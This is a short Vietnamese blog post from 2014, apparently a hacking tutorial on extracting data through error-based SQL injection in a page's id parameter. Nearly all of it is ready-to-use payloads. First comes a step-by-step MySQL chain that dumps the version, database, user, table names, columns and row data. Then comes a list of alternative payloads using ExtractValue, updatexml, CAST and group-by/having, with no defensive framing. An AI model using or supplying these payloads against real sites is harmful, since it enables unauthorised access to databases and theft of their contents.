Friday, May 30, 2014

Khai thác lỗi sql injection dạng error - based quick blind.

Khai thác lỗi sql injection dạng error - based quick blind.

Ví dụ victim có dạng:
http://target.com/page.php?id = 1
Lệnh get version, database
http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)

Tương tự vậy, lệnh get table:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.
Và cuối cùng là dữ liệu:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)
Mỗi site sẽ có cách khai thác khác nhau.Tuỳ cơ ứng biến nhé
===========================================================
+and 1=CAST(current_user||CHR(58)||current_database()|| CHR(58)||version()||CHR(58)||123 as int)
===========================================================
‘ and ’1′=(select 1 AND ExtractValue(1,concat(0x5C,(user())))) and ’1′=’1
===========================================================
and updatexml(0,concat(0x3a,version()),0)– -
===========================================================
null and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
===========================================================
(@:=1)||@ group by concat(version(),0x7c,database(),0x7c,user(),!@) having@||min(@:=0)
===========================================================
/*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/–
===========================================================
+or+1+group+by+concat(0x7c,version(),floor(rand(0) *2))+having+min(0)+or+1–+

No comments:

Post a Comment